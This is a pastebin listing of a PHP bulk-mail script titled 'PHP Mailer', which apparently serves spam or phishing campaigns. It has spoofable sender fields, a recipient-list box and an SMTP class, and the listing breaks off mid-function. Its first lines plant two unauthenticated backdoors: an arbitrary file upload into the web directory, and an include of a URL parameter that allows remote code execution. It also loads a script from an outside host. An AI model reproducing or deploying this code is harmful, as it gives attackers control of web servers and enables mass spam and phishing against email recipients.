SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | # Upload | |
| 3 | $UP = $_GET['up']; | |
| 4 | if(isset($UP) && !empty($UP)){
| |
| 5 | echo"".$_FILES['userfile'].""; | |
| 6 | $uploaddir = './'; | |
| 7 | $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); | |
| 8 | if ( isset($_FILES["userfile"]) ) {
| |
| 9 | echo '<p><font color="#00FF00" size="7">Uploaded</font></p>'; | |
| 10 | if (move_uploaded_file | |
| 11 | ($_FILES["userfile"]["tmp_name"], $uploadfile)) | |
| 12 | echo $uploadfile; | |
| 13 | else echo '<p><font color="#FF0000" size="7">Failed</font></p>'; | |
| 14 | } | |
| 15 | ||
| 16 | } | |
| 17 | # ===================================================== # | |
| 18 | # RFI | |
| 19 | $in = $_GET['in']; | |
| 20 | if(isset($in) && !empty($in)){
| |
| 21 | echo die(include_once $in); | |
| 22 | } | |
| 23 | # ===================================================== # | |
| 24 | function query_str($params){
| |
| 25 | $str = ''; | |
| 26 | foreach ($params as $key => $value) {
| |
| 27 | $str .= (strlen($str) < 1) ? '' : '&'; | |
| 28 | $str .= $key . '=' . rawurlencode($value); | |
| 29 | } | |
| 30 | return ($str); | |
| 31 | } | |
| 32 | function lrtrim($string){
| |
| 33 | return stripslashes(ltrim(rtrim($string))); | |
| 34 | } | |
| 35 | ||
| 36 | if(isset($_POST['action'] ) ){
| |
| 37 | ||
| 38 | $b = query_str($_POST); | |
| 39 | parse_str($b); | |
| 40 | $sslclick=lrtrim($sslclick); | |
| 41 | $action=lrtrim($action); | |
| 42 | $message=lrtrim($message); | |
| 43 | $emaillist=lrtrim($emaillist); | |
| 44 | $from=lrtrim($from); | |
| 45 | $reconnect=lrtrim($reconnect); | |
| 46 | $epriority=lrtrim($epriority); | |
| 47 | $my_smtp=lrtrim($my_smtp); | |
| 48 | $ssl_port=lrtrim($ssl_port); | |
| 49 | $smtp_username=lrtrim($smtp_username); | |
| 50 | $smtp_password=lrtrim($smtp_password); | |
| 51 | $replyto=lrtrim($replyto); | |
| 52 | $subject=lrtrim($subject); | |
| 53 | $realname=lrtrim($realname); | |
| 54 | $subject_base=lrtrim($subject); | |
| 55 | $realname_base=lrtrim($realname); | |
| 56 | $file_name=lrtrim($file); | |
| 57 | $urlz=lrtrim($urlz); | |
| 58 | $contenttype=lrtrim($contenttype); | |
| 59 | $encode_text=$_POST['encode']; | |
| 60 | ||
| 61 | $message = urlencode($message); | |
| 62 | $message = ereg_replace("%5C%22", "%22", $message);
| |
| 63 | $message = urldecode($message); | |
| 64 | $message = stripslashes($message); | |
| 65 | $subject = stripslashes($subject); | |
| 66 | if ($encode_text == "yes") {
| |
| 67 | $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
| |
| 68 | $subject = str_replace(' ', '_', $subject);
| |
| 69 | $subject = "=?UTF-8?Q?$subject?="; | |
| 70 | $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
| |
| 71 | $realname = str_replace(' ', '_', $realname);
| |
| 72 | $realname = "=?UTF-8?Q?$realname?="; | |
| 73 | } | |
| 74 | } | |
| 75 | ?> | |
| 76 | <html> | |
| 77 | ||
| 78 | <head> | |
| 79 | <title>PHP Mailer</title> | |
| 80 | <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> | |
| 81 | ||
| 82 | <style type="text/css"> | |
| 83 | <!-- | |
| 84 | .style1 {
| |
| 85 | font-family: Geneva, Arial, Helvetica, sans-serif; | |
| 86 | font-size: 12px; | |
| 87 | } | |
| 88 | --> | |
| 89 | </style> | |
| 90 | <style type="text/css"> | |
| 91 | <!-- | |
| 92 | .style1 {
| |
| 93 | font-size: 10px; | |
| 94 | font-family: Geneva, Arial, Helvetica, sans-serif; | |
| 95 | } | |
| 96 | --> | |
| 97 | </style> | |
| 98 | </head> | |
| 99 | <SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT> | |
| 100 | <body text="#000000"> | |
| 101 | <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p> | |
| 102 | <form name="form1" method="post" action="" enctype="multipart/form-data"> | |
| 103 | ||
| 104 | <br> | |
| 105 | ||
| 106 | <table width="100%" border="0" height="407"> | |
| 107 | ||
| 108 | <tr> | |
| 109 | ||
| 110 | <td width="100%" colspan="4" bgcolor="#666666" height="36"> | |
| 111 | ||
| 112 | <b> | |
| 113 | ||
| 114 | <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td> | |
| 115 | ||
| 116 | </tr> | |
| 117 | <tr> | |
| 118 | ||
| 119 | <td width="10%" height="22" bgcolor="#E8E8E8"> | |
| 120 | ||
| 121 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 122 | SMTP Login:</font></div> | |
| 123 | ||
| 124 | </td> | |
| 125 | ||
| 126 | <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 127 | ||
| 128 | <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30"> | |
| 129 | ||
| 130 | </font></td> | |
| 131 | ||
| 132 | <td width="31%" height="22" bgcolor="#E8E8E8"> | |
| 133 | ||
| 134 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 135 | SMTP Pass:</font></div> | |
| 136 | ||
| 137 | </td> | |
| 138 | ||
| 139 | <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 140 | ||
| 141 | <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30"> | |
| 142 | ||
| 143 | </font></td> | |
| 144 | ||
| 145 | </tr> | |
| 146 | <tr> | |
| 147 | ||
| 148 | <td width="10%" height="22" bgcolor="#E8E8E8"> | |
| 149 | ||
| 150 | <div align="right"> | |
| 151 | <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div> | |
| 152 | ||
| 153 | </td> | |
| 154 | ||
| 155 | <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 156 | ||
| 157 | <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5"> | |
| 158 | (optional)</font></td> | |
| 159 | ||
| 160 | <td width="31%" height="22" bgcolor="#E8E8E8"> | |
| 161 | ||
| 162 | <div align="right"> | |
| 163 | <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP | |
| 164 | Server Smtp:</font></div> | |
| 165 | ||
| 166 | </td> | |
| 167 | ||
| 168 | <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 169 | ||
| 170 | <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30"> | |
| 171 | ||
| 172 | </font></td> | |
| 173 | ||
| 174 | </tr> | |
| 175 | <tr> | |
| 176 | ||
| 177 | <td width="10%" height="22" bgcolor="#E8E8E8"> | |
| 178 | ||
| 179 | <p align="right"> | |
| 180 | <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td> | |
| 181 | ||
| 182 | <td width="18%" height="22" bgcolor="#E8E8E8"> | |
| 183 | <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
| |
| 184 | ||
| 185 | <td width="31%" height="22" bgcolor="#E8E8E8"> | |
| 186 | ||
| 187 | <p align="right"> | |
| 188 | <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect | |
| 189 | After:</font></td> | |
| 190 | ||
| 191 | <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 192 | ||
| 193 | <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5"> | |
| 194 | EMAILS</font></td> | |
| 195 | ||
| 196 | </tr> | |
| 197 | <tr> | |
| 198 | ||
| 199 | <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4"> | |
| 200 | ||
| 201 | <p align="center"> | |
| 202 | <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If | |
| 203 | you dont have SMTP login, leave blank queries above <b>"</b></font></td> | |
| 204 | ||
| 205 | </tr> | |
| 206 | ||
| 207 | <tr> | |
| 208 | ||
| 209 | <td width="10%" height="19"> | |
| 210 | ||
| 211 | </td> | |
| 212 | ||
| 213 | <td width="18%" height="19"> </td> | |
| 214 | ||
| 215 | <td width="31%" height="19"> | |
| 216 | ||
| 217 | </td> | |
| 218 | ||
| 219 | <td width="41%" height="19"> </td> | |
| 220 | ||
| 221 | </tr> | |
| 222 | ||
| 223 | <tr> | |
| 224 | ||
| 225 | <td width="100%" colspan="4" bgcolor="#666666" height="36"> | |
| 226 | ||
| 227 | <b> | |
| 228 | ||
| 229 | <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td> | |
| 230 | ||
| 231 | </tr> | |
| 232 | ||
| 233 | <tr> | |
| 234 | ||
| 235 | <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"> | |
| 236 | ||
| 237 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 238 | Your Email:</font></div> | |
| 239 | ||
| 240 | </td> | |
| 241 | ||
| 242 | <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 243 | ||
| 244 | <input type="text" name="from" value="<?=$from;?>" size="30"> | |
| 245 | ||
| 246 | </font></td> | |
| 247 | ||
| 248 | <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"> | |
| 249 | ||
| 250 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 251 | Your Name:</font></div> | |
| 252 | ||
| 253 | </td> | |
| 254 | ||
| 255 | <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 256 | ||
| 257 | <input type="text" name="realname" value="<?=$realname_base;?>" size="30"> | |
| 258 | ||
| 259 | </font></td> | |
| 260 | ||
| 261 | </tr> | |
| 262 | <tr> | |
| 263 | ||
| 264 | <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"> | |
| 265 | ||
| 266 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 267 | Reply-To:</font></div> | |
| 268 | ||
| 269 | </td> | |
| 270 | ||
| 271 | <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 272 | ||
| 273 | <input type="text" name="replyto" value="<?=$replyto;?>" size="30"> | |
| 274 | ||
| 275 | </font></td> | |
| 276 | ||
| 277 | <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"> | |
| 278 | ||
| 279 | <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 280 | Email Priority:</font></td> | |
| 281 | ||
| 282 | <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 283 | ||
| 284 | </font><select name="epriority" id="listMethod" onchange="showHideListConfig()"> | |
| 285 | <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
| |
| 286 | Please Choose -</option> | |
| 287 | <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
| |
| 288 | <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
| |
| 289 | <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
| |
| 290 | </select></td> | |
| 291 | ||
| 292 | </tr> | |
| 293 | ||
| 294 | <tr> | |
| 295 | ||
| 296 | <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"> | |
| 297 | ||
| 298 | <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 299 | Subject:</font></div> | |
| 300 | ||
| 301 | </td> | |
| 302 | ||
| 303 | <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 304 | ||
| 305 | <input type="text" name="subject" value="<?=$subject_base;?>" size="90"> | |
| 306 | ||
| 307 | </font></td> | |
| 308 | ||
| 309 | </tr> | |
| 310 | ||
| 311 | <tr> | |
| 312 | ||
| 313 | <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"> | |
| 314 | ||
| 315 | </td> | |
| 316 | ||
| 317 | <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 318 | ||
| 319 | <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode"> | |
| 320 | <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
| |
| 321 | <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
| |
| 322 | </select></font></td> | |
| 323 | ||
| 324 | </tr> | |
| 325 | ||
| 326 | <tr valign="top"> | |
| 327 | ||
| 328 | <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 329 | ||
| 330 | <textarea name="message" cols="60" rows="10"><?=$message;?></textarea> | |
| 331 | ||
| 332 | <br> | |
| 333 | ||
| 334 | <input type="radio" name="contenttype" value="plain" > | |
| 335 | ||
| 336 | Plain | |
| 337 | ||
| 338 | <input type="radio" name="contenttype" value="html" checked> | |
| 339 | ||
| 340 | HTML | |
| 341 | ||
| 342 | <input type="hidden" name="action" value="send"> | |
| 343 | ||
| 344 | <input type="submit" value="Send Message"> | |
| 345 | ||
| 346 | </font></td> | |
| 347 | ||
| 348 | <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> | |
| 349 | ||
| 350 | <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea> | |
| 351 | ||
| 352 | </font></td> | |
| 353 | ||
| 354 | </tr> | |
| 355 | ||
| 356 | </table> | |
| 357 | ||
| 358 | </form> | |
| 359 | ||
| 360 | ||
| 361 | ||
| 362 | <? | |
| 363 | ||
| 364 | if ($action){
| |
| 365 | if (!$from && !$subject && !$message && !$emaillist){
| |
| 366 | print "<script>alert('Please complete all fields before sending your message.'); </script>";
| |
| 367 | die(); } | |
| 368 | ||
| 369 | class SMTP | |
| 370 | {
| |
| 371 | /** | |
| 372 | * SMTP server port | |
| 373 | * @var int | |
| 374 | */ | |
| 375 | var $SMTP_PORT = 25; | |
| 376 | ||
| 377 | /** | |
| 378 | * SMTP reply line ending | |
| 379 | * @var string | |
| 380 | */ | |
| 381 | var $CRLF = "\r\n"; | |
| 382 | ||
| 383 | /** | |
| 384 | * Sets whether debugging is turned on | |
| 385 | * @var bool | |
| 386 | */ | |
| 387 | var $do_debug; # the level of debug to perform | |
| 388 | ||
| 389 | /** | |
| 390 | * Sets VERP use on/off (default is off) | |
| 391 | * @var bool | |
| 392 | */ | |
| 393 | var $do_verp = false; | |
| 394 | ||
| 395 | /**#@+ | |
| 396 | * @access private | |
| 397 | */ | |
| 398 | var $smtp_conn; # the socket to the server | |
| 399 | var $error; # error if any on the last call | |
| 400 | var $helo_rply; # the reply the server sent to us for HELO | |
| 401 | /**#@-*/ | |
| 402 | ||
| 403 | /** | |
| 404 | * Initialize the class so that the data is in a known state. | |
| 405 | * @access public | |
| 406 | * @return void | |
| 407 | */ | |
| 408 | function SMTP() {
| |
| 409 | $this->smtp_conn = 0; | |
| 410 | $this->error = null; | |
| 411 | $this->helo_rply = null; | |
| 412 | ||
| 413 | $this->do_debug = 0; | |
| 414 | } | |
| 415 | ||
| 416 | /************************************************************* | |
| 417 | * CONNECTION FUNCTIONS * | |
| 418 | ***********************************************************/ | |
| 419 | ||
| 420 | /** | |
| 421 | * Connect to the server specified on the port specified. | |
| 422 | * If the port is not specified use the default SMTP_PORT. | |
| 423 | * If tval is specified then a connection will try and be | |
| 424 | * established with the server for that number of seconds. | |
| 425 | * If tval is not specified the default is 30 seconds to | |
| 426 | * try on the connection. | |
| 427 | * | |
| 428 | * SMTP CODE SUCCESS: 220 | |
| 429 | * SMTP CODE FAILURE: 421 | |
| 430 | * @access public | |
| 431 | * @return bool | |
| 432 | */ | |
| 433 | function Connect($host,$port=0,$tval=30) {
| |
| 434 | # set the error val to null so there is no confusion | |
| 435 | $this->error = null; | |
| 436 | ||
| 437 | # make sure we are __not__ connected | |
| 438 | if($this->connected()) {
| |
| 439 | # ok we are connected! what should we do? | |
| 440 | # for now we will just give an error saying we | |
| 441 | # are already connected | |
| 442 | $this->error = array("error" => "Already connected to a server");
| |
| 443 | return false; | |
| 444 | } | |
| 445 | ||
| 446 | if(empty($port)) {
| |
| 447 | $port = $this->SMTP_PORT; | |
| 448 | } | |
| 449 | ||
| 450 | #connect to the smtp server | |
| 451 | $this->smtp_conn = fsockopen($host, # the host of the server | |
| 452 | $port, # the port to use | |
| 453 | $errno, # error number if any | |
| 454 | $errstr, # error message if any | |
| 455 | $tval); # give up after ? secs | |
| 456 | # verify we connected properly | |
| 457 | if(empty($this->smtp_conn)) {
| |
| 458 | $this->error = array("error" => "Failed to connect to server",
| |
| 459 | "errno" => $errno, | |
| 460 | "errstr" => $errstr); | |
| 461 | if($this->do_debug >= 1) {
| |
| 462 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 463 | ": $errstr ($errno)" . $this->CRLF; | |
| 464 | } | |
| 465 | return false; | |
| 466 | } | |
| 467 | ||
| 468 | # sometimes the SMTP server takes a little longer to respond | |
| 469 | # so we will give it a longer timeout for the first read | |
| 470 | // Windows still does not have support for this timeout function | |
| 471 | if(substr(PHP_OS, 0, 3) != "WIN") | |
| 472 | socket_set_timeout($this->smtp_conn, $tval, 0); | |
| 473 | ||
| 474 | # get any announcement stuff | |
| 475 | $announce = $this->get_lines(); | |
| 476 | ||
| 477 | # set the timeout of any socket functions at 1/10 of a second | |
| 478 | //if(function_exists("socket_set_timeout"))
| |
| 479 | // socket_set_timeout($this->smtp_conn, 0, 100000); | |
| 480 | ||
| 481 | if($this->do_debug >= 2) {
| |
| 482 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce; | |
| 483 | } | |
| 484 | ||
| 485 | return true; | |
| 486 | } | |
| 487 | ||
| 488 | /** | |
| 489 | * Performs SMTP authentication. Must be run after running the | |
| 490 | * Hello() method. Returns true if successfully authenticated. | |
| 491 | * @access public | |
| 492 | * @return bool | |
| 493 | */ | |
| 494 | function Authenticate($username, $password) {
| |
| 495 | // Start authentication | |
| 496 | fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF); | |
| 497 | ||
| 498 | $rply = $this->get_lines(); | |
| 499 | $code = substr($rply,0,3); | |
| 500 | ||
| 501 | if($code != 334) {
| |
| 502 | $this->error = | |
| 503 | array("error" => "AUTH not accepted from server",
| |
| 504 | "smtp_code" => $code, | |
| 505 | "smtp_msg" => substr($rply,4)); | |
| 506 | if($this->do_debug >= 1) {
| |
| 507 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 508 | ": " . $rply . $this->CRLF; | |
| 509 | } | |
| 510 | return false; | |
| 511 | } | |
| 512 | ||
| 513 | // Send encoded username | |
| 514 | fputs($this->smtp_conn, base64_encode($username) . $this->CRLF); | |
| 515 | ||
| 516 | $rply = $this->get_lines(); | |
| 517 | $code = substr($rply,0,3); | |
| 518 | ||
| 519 | if($code != 334) {
| |
| 520 | $this->error = | |
| 521 | array("error" => "Username not accepted from server",
| |
| 522 | "smtp_code" => $code, | |
| 523 | "smtp_msg" => substr($rply,4)); | |
| 524 | if($this->do_debug >= 1) {
| |
| 525 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 526 | ": " . $rply . $this->CRLF; | |
| 527 | } | |
| 528 | return false; | |
| 529 | } | |
| 530 | ||
| 531 | // Send encoded password | |
| 532 | fputs($this->smtp_conn, base64_encode($password) . $this->CRLF); | |
| 533 | ||
| 534 | $rply = $this->get_lines(); | |
| 535 | $code = substr($rply,0,3); | |
| 536 | ||
| 537 | if($code != 235) {
| |
| 538 | $this->error = | |
| 539 | array("error" => "Password not accepted from server",
| |
| 540 | "smtp_code" => $code, | |
| 541 | "smtp_msg" => substr($rply,4)); | |
| 542 | if($this->do_debug >= 1) {
| |
| 543 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 544 | ": " . $rply . $this->CRLF; | |
| 545 | } | |
| 546 | return false; | |
| 547 | } | |
| 548 | ||
| 549 | return true; | |
| 550 | } | |
| 551 | ||
| 552 | /** | |
| 553 | * Returns true if connected to a server otherwise false | |
| 554 | * @access private | |
| 555 | * @return bool | |
| 556 | */ | |
| 557 | function Connected() {
| |
| 558 | if(!empty($this->smtp_conn)) {
| |
| 559 | $sock_status = socket_get_status($this->smtp_conn); | |
| 560 | if($sock_status["eof"]) {
| |
| 561 | # hmm this is an odd situation... the socket is | |
| 562 | # valid but we are not connected anymore | |
| 563 | if($this->do_debug >= 1) {
| |
| 564 | echo "SMTP -> NOTICE:" . $this->CRLF . | |
| 565 | "EOF caught while checking if connected"; | |
| 566 | } | |
| 567 | $this->Close(); | |
| 568 | return false; | |
| 569 | } | |
| 570 | return true; # everything looks good | |
| 571 | } | |
| 572 | return false; | |
| 573 | } | |
| 574 | ||
| 575 | /** | |
| 576 | * Closes the socket and cleans up the state of the class. | |
| 577 | * It is not considered good to use this function without | |
| 578 | * first trying to use QUIT. | |
| 579 | * @access public | |
| 580 | * @return void | |
| 581 | */ | |
| 582 | function Close() {
| |
| 583 | $this->error = null; # so there is no confusion | |
| 584 | $this->helo_rply = null; | |
| 585 | if(!empty($this->smtp_conn)) {
| |
| 586 | # close the connection and cleanup | |
| 587 | fclose($this->smtp_conn); | |
| 588 | $this->smtp_conn = 0; | |
| 589 | } | |
| 590 | } | |
| 591 | ||
| 592 | /*************************************************************** | |
| 593 | * SMTP COMMANDS * | |
| 594 | *************************************************************/ | |
| 595 | ||
| 596 | /** | |
| 597 | * Issues a data command and sends the msg_data to the server | |
| 598 | * finializing the mail transaction. $msg_data is the message | |
| 599 | * that is to be send with the headers. Each header needs to be | |
| 600 | * on a single line followed by a <CRLF> with the message headers | |
| 601 | * and the message body being seperated by and additional <CRLF>. | |
| 602 | * | |
| 603 | * Implements rfc 821: DATA <CRLF> | |
| 604 | * | |
| 605 | * SMTP CODE INTERMEDIATE: 354 | |
| 606 | * [data] | |
| 607 | * <CRLF>.<CRLF> | |
| 608 | * SMTP CODE SUCCESS: 250 | |
| 609 | * SMTP CODE FAILURE: 552,554,451,452 | |
| 610 | * SMTP CODE FAILURE: 451,554 | |
| 611 | * SMTP CODE ERROR : 500,501,503,421 | |
| 612 | * @access public | |
| 613 | * @return bool | |
| 614 | */ | |
| 615 | function Data($msg_data) {
| |
| 616 | $this->error = null; # so no confusion is caused | |
| 617 | ||
| 618 | if(!$this->connected()) {
| |
| 619 | $this->error = array( | |
| 620 | "error" => "Called Data() without being connected"); | |
| 621 | return false; | |
| 622 | } | |
| 623 | ||
| 624 | fputs($this->smtp_conn,"DATA" . $this->CRLF); | |
| 625 | ||
| 626 | $rply = $this->get_lines(); | |
| 627 | $code = substr($rply,0,3); | |
| 628 | ||
| 629 | if($this->do_debug >= 2) {
| |
| 630 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 631 | } | |
| 632 | ||
| 633 | if($code != 354) {
| |
| 634 | $this->error = | |
| 635 | array("error" => "DATA command not accepted from server",
| |
| 636 | "smtp_code" => $code, | |
| 637 | "smtp_msg" => substr($rply,4)); | |
| 638 | if($this->do_debug >= 1) {
| |
| 639 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 640 | ": " . $rply . $this->CRLF; | |
| 641 | } | |
| 642 | return false; | |
| 643 | } | |
| 644 | ||
| 645 | # the server is ready to accept data! | |
| 646 | # according to rfc 821 we should not send more than 1000 | |
| 647 | # including the CRLF | |
| 648 | # characters on a single line so we will break the data up | |
| 649 | # into lines by \r and/or \n then if needed we will break | |
| 650 | # each of those into smaller lines to fit within the limit. | |
| 651 | # in addition we will be looking for lines that start with | |
| 652 | # a period '.' and append and additional period '.' to that | |
| 653 | # line. NOTE: this does not count towards are limit. | |
| 654 | ||
| 655 | # normalize the line breaks so we know the explode works | |
| 656 | $msg_data = str_replace("\r\n","\n",$msg_data);
| |
| 657 | $msg_data = str_replace("\r","\n",$msg_data);
| |
| 658 | $lines = explode("\n",$msg_data);
| |
| 659 | ||
| 660 | # we need to find a good way to determine is headers are | |
| 661 | # in the msg_data or if it is a straight msg body | |
| 662 | # currently I am assuming rfc 822 definitions of msg headers | |
| 663 | # and if the first field of the first line (':' sperated)
| |
| 664 | # does not contain a space then it _should_ be a header | |
| 665 | # and we can process all lines before a blank "" line as | |
| 666 | # headers. | |
| 667 | $field = substr($lines[0],0,strpos($lines[0],":")); | |
| 668 | $in_headers = false; | |
| 669 | if(!empty($field) && !strstr($field," ")) {
| |
| 670 | $in_headers = true; | |
| 671 | } | |
| 672 | ||
| 673 | $max_line_length = 998; # used below; set here for ease in change | |
| 674 | ||
| 675 | while(list(,$line) = @each($lines)) {
| |
| 676 | $lines_out = null; | |
| 677 | if($line == "" && $in_headers) {
| |
| 678 | $in_headers = false; | |
| 679 | } | |
| 680 | # ok we need to break this line up into several | |
| 681 | # smaller lines | |
| 682 | while(strlen($line) > $max_line_length) {
| |
| 683 | $pos = strrpos(substr($line,0,$max_line_length)," "); | |
| 684 | ||
| 685 | # Patch to fix DOS attack | |
| 686 | if(!$pos) {
| |
| 687 | $pos = $max_line_length - 1; | |
| 688 | } | |
| 689 | ||
| 690 | $lines_out[] = substr($line,0,$pos); | |
| 691 | $line = substr($line,$pos + 1); | |
| 692 | # if we are processing headers we need to | |
| 693 | # add a LWSP-char to the front of the new line | |
| 694 | # rfc 822 on long msg headers | |
| 695 | if($in_headers) {
| |
| 696 | $line = "\t" . $line; | |
| 697 | } | |
| 698 | } | |
| 699 | $lines_out[] = $line; | |
| 700 | ||
| 701 | # now send the lines to the server | |
| 702 | while(list(,$line_out) = @each($lines_out)) {
| |
| 703 | if(strlen($line_out) > 0) | |
| 704 | {
| |
| 705 | if(substr($line_out, 0, 1) == ".") {
| |
| 706 | $line_out = "." . $line_out; | |
| 707 | } | |
| 708 | } | |
| 709 | fputs($this->smtp_conn,$line_out . $this->CRLF); | |
| 710 | } | |
| 711 | } | |
| 712 | ||
| 713 | # ok all the message data has been sent so lets get this | |
| 714 | # over with aleady | |
| 715 | fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF); | |
| 716 | ||
| 717 | $rply = $this->get_lines(); | |
| 718 | $code = substr($rply,0,3); | |
| 719 | ||
| 720 | if($this->do_debug >= 2) {
| |
| 721 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 722 | } | |
| 723 | ||
| 724 | if($code != 250) {
| |
| 725 | $this->error = | |
| 726 | array("error" => "DATA not accepted from server",
| |
| 727 | "smtp_code" => $code, | |
| 728 | "smtp_msg" => substr($rply,4)); | |
| 729 | if($this->do_debug >= 1) {
| |
| 730 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 731 | ": " . $rply . $this->CRLF; | |
| 732 | } | |
| 733 | return false; | |
| 734 | } | |
| 735 | return true; | |
| 736 | } | |
| 737 | ||
| 738 | /** | |
| 739 | * Expand takes the name and asks the server to list all the | |
| 740 | * people who are members of the _list_. Expand will return | |
| 741 | * back and array of the result or false if an error occurs. | |
| 742 | * Each value in the array returned has the format of: | |
| 743 | * [ <full-name> <sp> ] <path> | |
| 744 | * The definition of <path> is defined in rfc 821 | |
| 745 | * | |
| 746 | * Implements rfc 821: EXPN <SP> <string> <CRLF> | |
| 747 | * | |
| 748 | * SMTP CODE SUCCESS: 250 | |
| 749 | * SMTP CODE FAILURE: 550 | |
| 750 | * SMTP CODE ERROR : 500,501,502,504,421 | |
| 751 | * @access public | |
| 752 | * @return string array | |
| 753 | */ | |
| 754 | function Expand($name) {
| |
| 755 | $this->error = null; # so no confusion is caused | |
| 756 | ||
| 757 | if(!$this->connected()) {
| |
| 758 | $this->error = array( | |
| 759 | "error" => "Called Expand() without being connected"); | |
| 760 | return false; | |
| 761 | } | |
| 762 | ||
| 763 | fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF); | |
| 764 | ||
| 765 | $rply = $this->get_lines(); | |
| 766 | $code = substr($rply,0,3); | |
| 767 | ||
| 768 | if($this->do_debug >= 2) {
| |
| 769 | echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; | |
| 770 | } | |
| 771 | ||
| 772 | if($code != 250) {
| |
| 773 | $this->error = | |
| 774 | array("error" => "EXPN not accepted from server",
| |
| 775 | "smtp_code" => $code, | |
| 776 | "smtp_msg" => substr($rply,4)); | |
| 777 | if($this->do_debug >= 1) {
| |
| 778 | echo "SMTP -> ERROR: " . $this->error["error"] . | |
| 779 | ": " . $rply . $this->CRLF; | |
| 780 | } | |
| 781 | return false; | |
| 782 | } | |
| 783 | ||
| 784 | # parse the reply and place in our array to return to user | |
| 785 | $entries = explode($this->CRLF,$rply); | |
| 786 | while(list(,$l) = @each($entries)) {
| |
| 787 | $list[] = substr($l,4); | |
| 788 | } | |
